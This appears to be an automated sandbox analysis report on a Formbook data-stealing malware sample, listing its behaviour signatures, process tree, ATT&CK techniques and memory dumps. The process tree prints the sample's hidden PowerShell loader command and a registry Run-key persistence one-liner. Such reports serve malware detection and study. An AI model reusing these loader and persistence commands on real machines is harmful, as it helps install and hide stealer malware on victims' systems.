Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
01/08/2026, 07:50
General
- Target b3fb616de3993830d09c675bca2c146618abd5fbf8cd564702642d2eeb8aef10.exe
- Size 1.3MB
- Sample260801-jpblbsff96
- SHA256 b3fb616de3993830d09c675bca2c146618abd5fbf8cd564702642d2eeb8aef10
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 23 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\b3fb616de3993830d09c675bca2c146618abd5fbf8cd564702642d2eeb8aef10.exe"C:\Users\Admin\AppData\Local\Temp\b3fb616de3993830d09c675bca2c146618abd5fbf8cd564702642d2eeb8aef10.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Torsteinns=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Yod.Kat';$Hvelser=$Torsteinns.SubString(53405,3);.$Hvelser($Torsteinns)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\vitriolers.exe"C:\Users\Admin\AppData\Local\Temp\vitriolers.exe"3⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lydigheders" /t REG_EXPAND_SZ /d "%Forblevet% -windowstyle minimized $Thymetic=(Get-ItemProperty -Path 'HKCU:\Rewade\').overfringsformats;%Forblevet% ($Thymetic)"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lydigheders" /t REG_EXPAND_SZ /d "%Forblevet% -windowstyle minimized $Thymetic=(Get-ItemProperty -Path 'HKCU:\Rewade\').overfringsformats;%Forblevet% ($Thymetic)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
Ndlgne.Hre
Yod.Kat
__PSScriptPolicyTest_vtouvymd.fb0.ps1
vitriolers.exe
memory/2936-41-0x0000000000400000-0x0000000001654000-memory.dmp
memory/2936-43-0x0000000077178000-0x0000000077179000-memory.dmp
memory/2936-66-0x0000000000400000-0x0000000001654000-memory.dmp
memory/2936-63-0x0000000000400000-0x0000000001654000-memory.dmp
memory/2936-62-0x0000000000400000-0x0000000001654000-memory.dmp
memory/2936-61-0x0000000000400000-0x0000000001654000-memory.dmp
memory/2936-60-0x0000000000400000-0x0000000001654000-memory.dmp
memory/2936-46-0x0000000077219000-0x000000007721A000-memory.dmp
memory/2936-45-0x0000000000400000-0x0000000001654000-memory.dmp
memory/2936-44-0x0000000077219000-0x000000007721A000-memory.dmp
memory/4112-25-0x0000000007580000-0x0000000007B24000-memory.dmp
memory/4112-37-0x0000000004970000-0x0000000004980000-memory.dmp
memory/4112-29-0x0000000004970000-0x0000000004980000-memory.dmp
memory/4112-30-0x0000000004970000-0x0000000004980000-memory.dmp
memory/4112-8-0x0000000004FB0000-0x00000000055D8000-memory.dmp
memory/4112-32-0x0000000004970000-0x0000000004980000-memory.dmp
memory/4112-33-0x0000000007370000-0x0000000007374000-memory.dmp
memory/4112-34-0x0000000004970000-0x0000000004980000-memory.dmp
memory/4112-35-0x0000000008830000-0x000000000C052000-memory.dmp
memory/4112-36-0x0000000004970000-0x0000000004980000-memory.dmp
memory/4112-38-0x0000000004970000-0x0000000004980000-memory.dmp
memory/4112-27-0x00000000081B0000-0x000000000882A000-memory.dmp
memory/4112-7-0x00000000027C0000-0x00000000027F6000-memory.dmp
memory/4112-6-0x0000000004970000-0x0000000004980000-memory.dmp
memory/4112-9-0x0000000004E10000-0x0000000004E32000-memory.dmp
memory/4112-10-0x00000000056E0000-0x0000000005746000-memory.dmp
memory/4112-23-0x0000000006340000-0x000000000635A000-memory.dmp
memory/4112-24-0x0000000006390000-0x00000000063B2000-memory.dmp
memory/4112-22-0x0000000006DD0000-0x0000000006E66000-memory.dmp
memory/4112-21-0x0000000005EC0000-0x0000000005F0C000-memory.dmp
memory/4112-20-0x0000000005E10000-0x0000000005E2E000-memory.dmp
memory/4112-19-0x0000000005800000-0x0000000005B54000-memory.dmp
memory/4112-11-0x0000000005750000-0x00000000057B6000-memory.dmp